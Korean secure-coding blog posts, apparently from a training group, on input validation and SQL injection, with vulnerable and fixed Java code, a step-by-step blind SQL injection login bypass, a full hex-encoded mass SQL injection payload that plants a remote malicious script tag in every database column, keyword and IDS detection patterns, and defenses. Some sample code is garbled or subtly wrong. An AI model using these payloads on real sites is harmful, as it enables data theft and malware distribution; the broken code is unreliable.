
 

  // 외부에서 입력받은 값으로 소켓을 생성한다.

 

  if (port != 0)

    serverSocket = new ServerSocket(port + 3000);

  else

    serverSocket = new ServerSocket(def + 3000);

   ……

}

……

 

Service No에 대한 입력값의 검증이 없다. 

 

 

 

 안전한 코드의 예 - JAVA

 ……

public void f() throws IOException

{

   ServerSocket serverSocket;

   Properties props = new Properties();

   String fileName = "file_list";

   FileInputStream in =  new leInputStream(fileName);

   FileInputStream in=new FileInputStream(fileName)

  String service = "";

 

  if (in != null && in.available() > 0) {

     props.load(in);

     // 외부로부터 데이터를 입력받는다.

     service = props.getProperty("Service No");

  }

 

  // 외부의 입력을 기본적인 내용 검사를 한다.

  if ("".equals(service)) service = "8080";

  int port = Integer.parseInt(service);

 

 // 외부 입력에서 포트번호를 검사한 후 리스트에서 적합한 값을 할당한다.


 switch (port) {

 case 1:

     port = 3001; break;

 case 2:

     port = 3002; break;

 case 3:

     port = 3003; break;

 default:

     port = 3000;

 } 

 

  // 서버소켓에 검사완료된 포트를 할당한다.

  serverSocket = new ServerSocket(port);

  ……

 }

  ……

 입력값 검사후 적절한 값을 할당함



블로그 이미지

오픈이지 제로킴

시큐어코딩 교육/컨설팅 전문가 그룹


발생원인


외부 입력이 DB 쿼리 작성에 이용되는 환경에서 입력값을 검증하지 않는 경우에 발생한다.



영향


조작된 쿼리를 통해 DB 내용이 노출되거나 변조 될 수 있다.



코드예



 

 안전하기 않은 코드의 예 - JAVA
  try 

 {

    String tableName =   props.getProperty("jdbc.tableName");

    String name =  props.getProperty("jdbc.name");

    String query = "SELECT * FROM "  + tableName + "  WHERE Name =" + name;

    stmt = con.prepareStatement(query);

     rs = stmt.executeQuery();

     ... ...

 } catch (SQLException sqle) { }

  finally {

   }

 tableName과 name에 대한 검증을 수행하지 않은코드



 

안전한 코드예

  try

 {

      String tableName  props.getProperty("jdbc.tableName");

      String name =  props.getProperty("jdbc.name");

    String query = "SELECT * FROM ? WHERE Name = ? ";

    stmt = con.prepareStatement(query);

    stmt.setString(1, tableName);

    stmt.setString(2, name);

     rs = stmt.executeQuery();

     ... ...

 } catch (SQLException sqle) { }

 finally {

 

 }

 쿼리문의 구조가 변경되지 않는 PreparedStatement 클래스를 이용한 쿼리 실행




CASE1: 서버측에서 다음과 같은 쿼리문을 가진 코드가 있는 경우 


"SELECT * FROM " + tableName + " WHERE Name = '" + name + "'"


tableName=userTable  name: gildong 인경우

"SELECT * FROM userTable WHERE Name = 'gildong'"


tableName=userTable  name: name' or 'a'='a 인경우

"SELECT * FROM userTable WHERE Name = 'name' OR 'a'='a'"


tableName=userTable  name: name'; delete from userTable; -- 인경우

"SELECT * FROM userTable WHERE Name = 'name'; DELETE FROM userTable; --'"



CASE2: Blind SQL Injection


일반적인 SQL 인젝션 공격의 경우 반환되는 에러메시지를 통해 성공여부나 정보등을 확인할 수  있다. 하지만 오류 메싲를 따로 설정하게 되면 메시지가 나오지 않아 적절한 정보를 얻을 수 없어 공격하기가 어렵게 된다.


Blind SQL Injection 리안 마치 장님이 손으로 더듬듯이 알아내고자 하는 정보의 답변을 미리 대략적으로 예측해서 그것이 참인지 거짓인지를 질의하고, 서버의 반응으로 참/거짓 여부를 판한하면서 참이 될때 까지 시도함으로서 정보를 알아내는 방법이다. 


공격을 하기전에 해당 페이지에 취약점이 존재하는지 확인하는 작업이 필요한다.



* 서버측 쿼리문
strSQL="select user_id, name, user_pw from member where user_id='"&id&"' and user_pw='"&password&"'


* 정상 질의
http://victim.co.kr/member/member_login_check.asp?user_id=hacker&user_pw=1234


* 취약점 테스팅 질의
http://victim.co.kr/member/member_login_check.asp?user_id=hacker&user_pw=1234' and 1=1--



만약 위 질의의 결과가 같다면 Blind SQL Injection에 취약하다고 볼 수 있다. 

 1=1 --  대신에 1=2-- 를 넣어서 참/거짓을 구별할 수 있는 쿼리문을 삽입하면되고, 이 때 데이터베이스가 이전과 같은 결과값을 출력하는지(참) 아니면 값을 출력하지 않는지(거짓)을 통해 자신의 입력한 내용이 참인지 거짓인지를 쉽게 판별할 수 있다.


이와 같이 참/거짓의 여부에 따라 예측 내용을 조금씩 바꾸어서 질의하는 과정을 반복함으로 써 최종적으로는 정확한 값을 알아낼 수 있게 되는 것이다. 하지만 수작업으로 하기에는 무리가 따르며 주로 자동화된 툴을 사용하여 공격을 하게 된다.


<참고> Blind SQL Injection

Blind SQL Injection은 평범한 SQL Injection 과 같이 원하는 데이터를 가져올 쿼리를 삽입하는 기술이다.

다른점은 참과 거짓, 쿼리가 참일때와 거짓일때 서버의 반응 만으로 데이터를 얻어내는 기술이다.

 

Blind SQL Injection은 substr('aaaa',1,1) 함수와 ascii(변환할문자)함수를 이용하여 쿼리의 결과를 얻어 한 글자씩 끊어온 값을 아스키코드로 변환시키고 임의의 숫자와 비교하여 참가 거짓을 비교하는 과정을 반복하여 결과들을 조합하여 원하는 정보를 얻어냄으로써 공격을 이루어지게 하는 것이다.

 

많은 비교과정이 필요하기 때문에 자동화된 툴을 이용하여 공격한다.

 

 

공격에 사용될 SQL문 이해하기

----------------------------------------------------------------------------------------------------------

MySQL의 information_schema에는 데이터베이스의 여러 정보들이 들어있다.

 

SELECT * FROM information_schema.tables

 

다음과 같이 SQL Injection 에 취약한 로그인폼이 있다고 한다면,

SELECT * FROM users WHERE id='전송받은값' AND passwd='전송받은값'

 

우선 information_schema에서 가져올 테이블명에 대해 알아보자.

SELECT table_name FROM TABLES WHERE table_type='base table'  LIMIT 0, 1  쿼리문을 실행하면

users 를 반환한다.

Blind SQL Injection은 이런 결과 값을 substr함수를 이용하여 한글자씩 잘라서 가져온다.

 

SELECT substr((SELECT table_name FROM information_schema.tables WHERE table_type='base table'),1,1) 을 실행하면 쿼리 결과로 u를 반환한다.

이렇게 잘라온값을 ascii 함수를 이용해 아스키코드로 변환한다.

 

ascii(SELECT substr((SELECT table_name FROM information_schema.tables WHERE table_type='base table'),1,1) )

을 실행하면 결과값으로 117이 반환된다.  

----------------------------------------------------------------------------------------------------------

 

(공격예)

ID:            [                         ]

PASSWORD: [                         ]

 

Blind SQL Injection으로 테이블명 알아내기

id와 passwd 를 다 입력할 필요없이 admin'# 을 입력하여 passwd 부분을 커맨트 처리한다

SELECT * FROM users where id='admin'#'and passwd='aaaaa'   <- 초록색부분 커맨트 처리

이를 이용해서 id='admin' 조건뒤에 and 연산자와 함께 입력한다.

admin' and ascii(SELECT substr((SELECT table_name FROM information_schema.tables WHERE table_type='base table'),1,1) ) < 120#  

를 삽입하면 임의의 숫자와 비교하여 참이면 로그인 성공, 거짓이면 로그인에 실패한다.

 

만약 로그인에 성공하면 결과값의 첫글자의 아스키코드는 120미만이다.

 

다시 115미만인지를 테스트 한다.

ascii(SELECT substr((SELECT table_name FROM information_schema.tables WHERE table_type='base table'),1,1) ) < 115#

 

로그인에 실패하였다면 결과값은 아스키코드 115 이상이다.

115 < 첫글자 아스키코드 < 120

 

다시 117미만인지 비교해 본다.

ascii(SELECT substr((SELECT table_name FROM information_schema.tables WHERE table_type='base table'),1,1) ) < 117#

 

로그인에 실패하였다면 결과값은 아스키 코드 117 이상이다.

117 <= 첫글자 아스키코드 < 120

 

다시 118미만인지 비교해 본다.

ascii(SELECT substr((SELECT table_name FROM information_schema.tables WHERE table_type='base table'),1,1) ) < 118#

로그인 성공. 결과값의 첫글자의 아스키 코드가 118 보다 작다.

117 <= 첫글자 아스키코드 < 118

 

 

그럼 첫글자는 117이 된다. 아스키코드 117에 해당하는 문자는 'u' 이다.

 

이런방법으로 참인지 거짓인지 비교하여 한 글자씩 알아내면 테이블명을 찾아낼 수 있다.

이렇게 DB 정보가 노출되면 테이블들을 조작하거나 데이터를 얻어내는 것은 시간문제이다.

 

 

Blind SQL Injection 공격으로 부터 안전하려면?

쿼리를 변조할 수 있는 문구가 삽입되는 것을 막아야 한다.

union, select, from, where, limit, or, and, ||, &&, (, ), <, >, insert, update, delete, reate, drop 등 SQL 구문을 감지하는 패턴을 만들어 배열화 시킨뒤 $_REQUEST 시켜 패턴과 매치하면 SQL Injection을 감지하여 서버 담당자가 원하는 동작을 수행하도록 하면 간단하고 효율적으로 SQL Injection을 방어할 수 있다.

 

쿼리에러가 발생하였을때 에러에 대한 정보를 보여주어서도 안된다. 대부분이 에러 정보를 바탕으로 SQL Injection을 시도하기 때문이다.

 

 


CASE3: MASS SQL Injection


(1) 요약: 

     기존의 SQL Injection취약성에서 확장된 개념이다. 

     한번의 공격으로 대량의 DB값이 변조되어 치명적인 영향을 준다.

     SQL Injection 탐지 패턴을 우회하기 위해 CAST함수를 이용해 쿼리문을 인코딩해서 탐지 우회를 시도한다

     DB값 변조시 홈페이지에 악성 스크립트 삽입하여, 사용자들이 변조된 사이트 방문시 악성 스크립트에 감염되거나 Bot이 설치되어  감염된 좀비PC를 통해 온라인 게임 계정 해킹과 DDOS 공격이 가능


(2) 악성스크립트에 사용되는 파일 형식:

     js(자바스크립트), swf(플래시 파일), exe(실행파일)이 주로 이용된다.


(3) 주요공격대상: 

     IIS환경의 MS-SQL을 사용중인 ASP 기반 웹 애플리케이션을 주요 공격 대상으로 한다.


(3) 피해사이트 확인방법:

     google 검색창에서 다음과 같이 검색한다.

     "inurl: 확인하려는 사이트 악성코드 유포사이트"

     "inurl:abc.com"


      혹은 <script src=http:// 를 검색하면 악성코드가 삽입된 사이트를 검색할 수 있다.

  

(4) 공격예: 

     cookie를 이용한 MASS SQL Injection, HEX인코딩된 SQL INJECTION 공격이다.

     공격예의 출처: http://gooja.tistory.com/23     

----------------------------------------------------------------------------------------------------------

POST /test.asp HTTP/1.0
Cookie:
03la'%3BDECLARE%20@S%20VARCHAR(4000)%3BSET%20@S%3DCAST(0x4445434C415245204054207661726368617228323535292C404320766172636861722832353529204445434C4
15245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E6
16D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643
D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E7874797
0653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C65
5F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4
043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B27
2B40542B275D20736574205B272B40432B275D3D727472696D28636F6E76657274287661726368617228343030302
92C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F62617479752E636E3E3C2F73
63726970743E272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F204054
2C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43757
2736F72
%20AS%20VARCHAR(4000))%3Bexec%20(@S)%3B--
Content-Type: application/x-www-form-urlencoded
Host:www.xxxx.co.kr
Content-Length: 3
Expect: 100-continue


디코딩해서 보면.

이 SQL문은 모든 필드에 <script src=http://pcca4.cn></script>가 삽입되는 공격이 된다.


03la';DECLARE @S VARCHAR(4000);SET @S=CAST
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar(4000),['+@C+']))+''<script src=http://pcca4.cn></script>''')FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
 AS VARCHAR(4000));exec (@S);--

----------------------------------------------------------------------------------------------------------



(5) 대응방안: 

     쿼리 스트링에 대한 길이를 제한한다.

     코딩시 SQL Injection  공격에 대비한 소스 코딩방식을 사용한다. preparedStatement 사용.

     입력문자를 제한하거나 필터링을 적용한다.

     정기적인 DB/시스템 백업 실시

     웹 방화벽을 사용한다.


     IDS혹은 IPS 같은 침입탐지 시스템이 있다면 다음과 같은 문자열로 MASS SQL Injection 을 탐지 할 수 있다.

     @S=CAST(0x

     DECLARE @ SET



보통 서버 대상 공격이 아닌 변조된 서버에 접근하는 상대를 대상으로 한다. 변조된 사이트를 구글 검색으로 찾을 수 있을 정도로 피해가 컸었다.


SQL 공격에 사용되는 도구로 Havij, Pangolin, HDSI등이 있다. 공격용이기도 하지만 진단용으로 사용된다.


블로그 이미지

오픈이지 제로킴

시큐어코딩 교육/컨설팅 전문가 그룹

티스토리 툴바